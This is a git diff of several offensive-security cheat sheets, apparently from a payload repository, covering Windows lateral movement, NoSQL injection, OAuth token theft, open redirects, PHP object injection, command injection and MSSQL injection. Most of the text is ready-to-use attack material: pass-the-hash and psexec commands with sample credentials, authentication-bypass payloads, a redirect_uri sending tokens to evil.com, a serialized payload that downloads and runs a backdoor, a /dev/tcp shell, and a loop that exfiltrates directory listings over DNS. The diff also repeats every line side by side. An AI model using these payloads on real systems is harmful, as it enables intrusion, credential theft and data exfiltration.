## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) ## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
```powershell ```powershell
Username: RetailAdmin Username: RetailAdmin
Password: trs10 Password: trs10
``` ```
## Metasploit - SMB ## Metasploit - SMB
```c ```c
use auxiliary/scanner/smb/smb_login use auxiliary/scanner/smb/smb_login
set SMBDomain CSCOU set SMBDomain CSCOU
@ -31,7 +36,9 @@ creds
``` ```
## Metasploit - Psexec ## Metasploit - Psexec
Note: the password can be replaced by a hash to execute a `pass the hash` attack. Note: the password can be replaced by a hash to execute a `pass the hash` attack.
```c ```c
use exploit/windows/smb/psexec use exploit/windows/smb/psexec
set RHOST 10.2.0.3 set RHOST 10.2.0.3
@ -43,6 +50,7 @@ shell
``` ```
## Crackmapexec (Integrated to Kali) ## Crackmapexec (Integrated to Kali)
```python ```python
git clone https://github.com/byt3bl33d3r/CrackMapExec.github git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r
@ -50,16 +58,19 @@ python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami
``` ```
## Crackmapexec (Pass The Hash) ## Crackmapexec (Pass The Hash)
```
```powershell
cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth
``` ```
## Winexe (Integrated to Kali) ## Winexe (Integrated to Kali)
```python ```python
winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe
``` ```
## Psexec.py / Smbexec.py / Wmiexec.py (Impacket) ## Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
```python ```python
git clone https://github.com/CoreSecurity/impacket.git git clone https://github.com/CoreSecurity/impacket.git
python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
@ -68,12 +79,14 @@ python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
``` ```
## RDP Remote Desktop Protocol (Impacket) ## RDP Remote Desktop Protocol (Impacket)
```powershell ```powershell
python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5 rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5
``` ```
Note: you may need to enable it with the following command Note: you may need to enable it with the following command
```powershell ```powershell
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
netsh firewall set service remoteadmin enable netsh firewall set service remoteadmin enable
@ -81,45 +94,51 @@ netsh firewall set service remotedesktop enable
``` ```
or with psexec(sysinternals) or with psexec(sysinternals)
```powershell ```powershell
psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
``` ```
or with crackmapexec or with crackmapexec
```powershell ```powershell
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
``` ```
For Server 2012 R2, Win8.1+ For Server 2012 R2, Win8.1+
```
```powershell
xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12 xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12
``` ```
with Metasploit with Metasploit
```powershell ```powershell
run getgui -u admin -p 1234 run getgui -u admin -p 1234
``` ```
## Netuse (Windows) ## Netuse (Windows)
```
```powershell
net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r
C$ C$
``` ```
## Runas (Windows - Kerberos auth) ## Runas (Windows - Kerberos auth)
```
```powershell
runas /netonly /user:CSCOU\jarrieta "cmd.exe" runas /netonly /user:CSCOU\jarrieta "cmd.exe"
``` ```
## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ) ## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) )
```
```powershell
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell
``` ```
## Thanks ## Thanks
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html) - [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)

View File

@ -1,10 +1,12 @@
# NoSQL injection # NoSQL injection
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
## Exploit ## Exploit
Basic authentication bypass using not equal ($ne) or greater ($gt) Basic authentication bypass using not equal ($ne) or greater ($gt)
```
```json
in URL in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -12,17 +14,18 @@ in JSON
{"username": {"$ne": null}, "password": {"$ne": null} } {"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} } {"username": {"$gt": undefined}, "password": {"$gt": undefined} }
``` ```
Extract length information Extract length information
```
```json
username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=.{3}
``` ```
Extract data information Extract data information
```
```json
in URL in URL
username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=md.{1}
@ -38,6 +41,7 @@ in JSON
``` ```
## Blind NoSQL ## Blind NoSQL
```python ```python
import requests import requests
import urllib3 import urllib3
@ -59,7 +63,8 @@ while True:
``` ```
## MongoDB Payloads ## MongoDB Payloads
```
```bash
true, $where: '1 == 1' true, $where: '1 == 1'
, $where: '1 == 1' , $where: '1 == 1'
$where: '1 == 1' $where: '1 == 1'
@ -79,9 +84,9 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
[$ne]=1 [$ne]=1
``` ```
## Thanks to ## Thanks to
* https://www.dailysecurity.fr/nosql-injections-classique-blind/
* https://www.owasp.org/index.php/Testing_for_NoSQL_injection * [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
* https://github.com/cr0hn/nosqlinjection_wordlists * [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
* https://zanon.io/posts/nosql-injection-in-mongodb * [cr0hn - NoSQL injection wordlists](https://github.com/cr0hn/nosqlinjection_wordlists)
* [Zanon - NoSQL Injection in MongoDB](https://zanon.io/posts/nosql-injection-in-mongodb)

View File

@ -1,48 +1,54 @@
# OAuth 2 - Common vulnerabilities # OAuth 2 - Common vulnerabilities
## Grabbing OAuth Token via redirect_uri ## Grabbing OAuth Token via redirect_uri
Redirect to a controlled domain to get the access token Redirect to a controlled domain to get the access token
```
```powershell
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
``` ```
Redirect to an accepted Open URL in to get the access token Redirect to an accepted Open URL in to get the access token
```
```powershell
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
``` ```
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” cant be pointed to an Open Redirect. OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” cant be pointed to an Open Redirect.
Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri: Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
```
```powershell
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
``` ```
## Executing XSS via redirect_uri ## Executing XSS via redirect_uri
```
```powershell
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script> https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
``` ```
## OAuth private key disclosure ## OAuth private key disclosure
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed. Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
## Authorization Code Rule Violation ## Authorization Code Rule Violation
```
The client MUST NOT use the authorization code more than once. > The client MUST NOT use the authorization code more than once.
If an authorization code is used more than once, the authorization server MUST deny the request If an authorization code is used more than once, the authorization server MUST deny the request
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code. and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
```
## Cross-Site Request Forgery ## Cross-Site Request Forgery
Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (https://example.com/callback?code=AUTHORIZATION_CODE). This URL can be used in CSRF attacks.
``` Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.
The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
``` > The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
## Thanks to ## Thanks to
* http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html
* http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html * [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
* http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html * [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
* http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html * [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
* [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)

View File

@ -1,82 +1,95 @@
# Open URL Redirection # Open URL Redirection
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the applications access control check and then forward the attacker to privileged functions that they would normally not be able to access. Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the applications access control check and then forward the attacker to privileged functions that they would normally not be able to access.
## Fuzzing ## Fuzzing
Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case Replace www.whitelisteddomain.tld from *Open-Redirect-payloads.txt* with a specific white listed domain in your test case
To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL. To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.
```
```powershell
WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt
``` ```
## Exploitation ## Exploitation
Using a whitelisted domain or keyword Using a whitelisted domain or keyword
```
```powershell
www.whitelisted.com.evil.com redirect to evil.com www.whitelisted.com.evil.com redirect to evil.com
``` ```
Using CRLF to bypass "javascript" blacklisted keyword Using CRLF to bypass "javascript" blacklisted keyword
```
```powershell
java%0d%0ascript%0d%0a:alert(0) java%0d%0ascript%0d%0a:alert(0)
``` ```
Using "//" to bypass "http" blacklisted keyword Using "//" to bypass "http" blacklisted keyword
```
```powershell
//google.com //google.com
``` ```
Using "https:" to bypass "//" blacklisted keyword Using "https:" to bypass "//" blacklisted keyword
```
```powershell
https:google.com https:google.com
``` ```
Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //) Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)
```
```powershell
\/\/google.com/ \/\/google.com/
/\/google.com/ /\/google.com/
``` ```
Using "%E3%80%82" to bypass "." blacklisted character Using "%E3%80%82" to bypass "." blacklisted character
```
```powershell
//google%E3%80%82com //google%E3%80%82com
``` ```
Using null byte "%00" to bypass blacklist filter Using null byte "%00" to bypass blacklist filter
```
```powershell
//google%00.com //google%00.com
``` ```
Using "@" character, browser will redirect to anything after the "@" Using "@" character, browser will redirect to anything after the "@"
```
```powershell
http://www.theirsite.com@yoursite.com/ http://www.theirsite.com@yoursite.com/
``` ```
Creating folder as their domain Creating folder as their domain
```
```powershell
http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com http://www.yoursite.com/folder/www.folder.com
``` ```
XSS from Open URL - If it's in a JS variable XSS from Open URL - If it's in a JS variable
```
```powershell
";alert(0);// ";alert(0);//
``` ```
XSS from data:// wrapper XSS from data:// wrapper
```
```powershell
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg== http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
``` ```
XSS from javascript:// wrapper XSS from javascript:// wrapper
```
```powershell
http://www.example.com/redirect.php?url=javascript:prompt(1) http://www.example.com/redirect.php?url=javascript:prompt(1)
``` ```
## Thanks to ## Thanks to
* filedescriptor * filedescriptor
* https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet * [OWASP - Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet)
* [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) * [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)

View File

@ -1,4 +1,4 @@
# PHP Juggling type and magic hashes # PHP Juggling type and magic hashes
## Exploit ## Exploit
@ -14,13 +14,12 @@ var_dump('0xABCdef' == ' 0xABCdef');
?> ?>
``` ```
| Hash | “Magic” Number / String | Magic Hash | Found By | | Hash | “Magic” Number / String | Magic Hash | Found By |
| ---- | -------------------------- |:---------------------------------------------:| -------------:| | ---- | -------------------------- |:---------------------------------------------:| -------------:|
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek | | MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham | | SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
## Thanks to ## Thanks to
* http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html
* https://www.whitehatsec.com/blog/magic-hashes/ * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)
* [Magic Hashes - WhieHatSec](https://www.whitehatsec.com/blog/magic-hashes/)

View File

@ -1,8 +1,11 @@
# PHP Object Injection # PHP Object Injection
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
## Exploit with the __wakeup in the unserialize function ## Exploit with the __wakeup in the unserialize function
Vulnerable code: Vulnerable code:
```php ```php
<?php <?php
class PHPObjectInjection{ class PHPObjectInjection{
@ -17,7 +20,7 @@ Vulnerable code:
} }
if(isset($_REQUEST['r'])){ if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']); $var1=unserialize($_REQUEST['r']);
if(is_array($var1)){ if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1]; echo "<br/>".$var1[0]." - ".$var1[1];
} }
} }
@ -28,6 +31,7 @@ Vulnerable code:
``` ```
Payload: Payload:
```php ```php
# Basic serialized data # Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";} a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
@ -38,23 +42,26 @@ string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}
``` ```
## Others exploits ## Others exploits
Reverse Shell Reverse Shell
```php ```php
class PHPObjectInjection class PHPObjectInjection
{ {
// CHANGE URL/FILENAME TO MATCH YOUR SETUP // CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');"; public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
} }
echo urlencode(serialize(new PHPObjectInjection)); echo urlencode(serialize(new PHPObjectInjection));
``` ```
Basic detection Basic detection
```php ```php
class PHPObjectInjection class PHPObjectInjection
{ {
// CHANGE URL/FILENAME TO MATCH YOUR SETUP // CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('cat /etc/passwd');"; public $inject = "system('cat /etc/passwd');";
} }
echo urlencode(serialize(new PHPObjectInjection)); echo urlencode(serialize(new PHPObjectInjection));
@ -63,5 +70,6 @@ echo urlencode(serialize(new PHPObjectInjection));
``` ```
## Thanks to ## Thanks to
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) * [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) * [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)

View File

@ -1,10 +1,12 @@
# Remote Commands Execution # Remote Commands Execution
Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.
Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.
NOTE: Reverse Shell Command are relocated to a [single file](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) NOTE: Reverse Shell Command are relocated to a [single file](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
## Exploits ## Exploits
Normal Commands execution, execute the command and voila :p Normal Commands execution, execute the command and voila :p
```powershell ```powershell
cat /etc/passwd cat /etc/passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
@ -14,6 +16,7 @@ sys:x:3:3:sys:/dev:/bin/sh
``` ```
Commands execution by chaining commands Commands execution by chaining commands
```powershell ```powershell
original_cmd_by_server; ls original_cmd_by_server; ls
original_cmd_by_server && ls original_cmd_by_server && ls
@ -22,12 +25,14 @@ original_cmd_by_server || ls Only if the first cmd fail
``` ```
Commands execution inside a command Commands execution inside a command
```powershell ```powershell
original_cmd_by_server `cat /etc/passwd` original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd) original_cmd_by_server $(cat /etc/passwd)
``` ```
Commands execution without space - Linux Commands execution without space - Linux
```powershell ```powershell
swissky@crashlab:~/Www$ cat</etc/passwd swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
@ -52,50 +57,58 @@ swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
``` ```
Commands execution without space - Windows Commands execution without space - Windows
```powershell ```powershell
ping%CommonProgramFiles:~10,-18%IP ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP ping%PROGRAMFILES:~10,-5%IP
``` ```
Commands execution without spaces, $ or { } - Linux (Bash only) Commands execution without spaces, $ or { } - Linux (Bash only)
```powershell ```powershell
IFS=,;`cat<<<uname,-a` IFS=,;`cat<<<uname,-a`
``` ```
Commands execution with a line return Commands execution with a line return
```powershell ```powershell
something%0Acat%20/etc/passwd something%0Acat%20/etc/passwd
``` ```
Bypass blacklisted word with single quote Bypass blacklisted word with single quote
```powershell ```powershell
w'h'o'am'i w'h'o'am'i
``` ```
Bypass blacklisted word with double quote Bypass blacklisted word with double quote
```powershell ```powershell
w"h"o"am"i w"h"o"am"i
``` ```
Bypass blacklisted word with backslash Bypass blacklisted word with backslash
```powershell ```powershell
w\ho\am\i w\ho\am\i
``` ```
Bypass blacklisted word with $@ Bypass blacklisted word with $@
```powershell ```powershell
who$@ami who$@ami
``` ```
Bypass blacklisted word with variable expansion Bypass blacklisted word with variable expansion
```powershell ```powershell
test=/ehhh/hmtc/pahhh/hmsswd test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/} cat ${test//hhh\/hm/}
cat ${test//hh??hm/} cat ${test//hh??hm/}
``` ```
Bypass zsh/bash/sh blacklist Bypass zsh/bash/sh blacklist
```powershell ```powershell
echo $0 echo $0
-> /usr/bin/zsh -> /usr/bin/zsh
@ -103,37 +116,41 @@ echo whoami|$0
``` ```
## Challenge ## Challenge
Challenge based on the previous tricks, what does the following command do:
Challenge based on the previous tricks, what does the following command do:
```powershell ```powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
``` ```
## Time based data exfiltration ## Time based data exfiltration
Extracting data : char by char Extracting data : char by char
```powershell ```powershell
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
``` ```
## DNS based data exfiltration ## DNS based data exfiltration
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
``` Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```powershell
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
## Thanks to ## Thanks to
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136) * [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)

View File

@ -1,22 +1,26 @@
# MSSQL Injection # MSSQL Injection
## MSSQL version ## MSSQL version
```sql ```sql
SELECT @@version SELECT @@version
``` ```
## MSSQL database name ## MSSQL database name
```sql ```sql
SELECT DB_NAME() SELECT DB_NAME()
``` ```
## MSSQL List Databases ## MSSQL List Databases
```sql ```sql
SELECT name FROM master..sysdatabases; SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT DB_NAME(N); — for N = 0, 1, 2, …
``` ```
## MSSQL List Column ## MSSQL List Column
```sql ```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = mytable); — for the current DB only SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = mytable); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=sometable; — list colum names and types for master..sometable SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=sometable; — list colum names and types for master..sometable
@ -25,6 +29,7 @@ SELECT table_catalog, column_name FROM information_schema.columns
``` ```
## MSSQL List Tables ## MSSQL List Tables
```sql ```sql
